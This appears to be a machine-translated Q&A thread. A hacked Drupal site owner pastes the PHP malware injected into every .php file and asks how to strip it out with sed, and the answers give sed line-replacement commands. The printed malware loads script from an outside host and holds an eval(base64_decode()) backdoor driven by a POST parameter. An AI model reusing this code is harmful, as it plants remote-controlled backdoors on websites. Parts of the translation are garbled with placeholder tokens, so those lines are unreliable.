sed,替换第一行

时间:2012-02-16 10:49:09

标签: sed

我通过运行一个非常过时的Drupal安装(我感到羞耻)而被黑了

似乎他们在每个.php文件中注入以下内容;

<?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src='$sessdt_u'></script>"; 
     echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }

我可以使用sed删除并替换它吗? e.g:

find . -name *.php | xargs ... 

我希望网站暂时可以使用wget并制作静态副本。

2 个答案:

答案 0 :(得分:73)

您可以将sed

类似
sed '1 s/^.*$/<?php/'

1部分仅替换第一行。然后,由于s命令,它将整行替换为<?php

要就地修改文件,请使用GNU -i的{​​{1}}选项。

答案 1 :(得分:5)

要替换文件的第一行,您可以使用c的{​​{1}}(用于“更改”)命令:

sed

转换为:“在第1行,用sed '1c<?php' 替换模式空间。”

对于这个特殊问题,这样的事情可能会起作用:

<?php

读取:将“第1行到第一个空行”的范围更改为sed '1,/^$/c<?php' ,从而替换所有注入的代码。

(地址的第二部分(正则表达式<?php)应该替换为实际上划分注入代码的表达式(如果它不是空行。)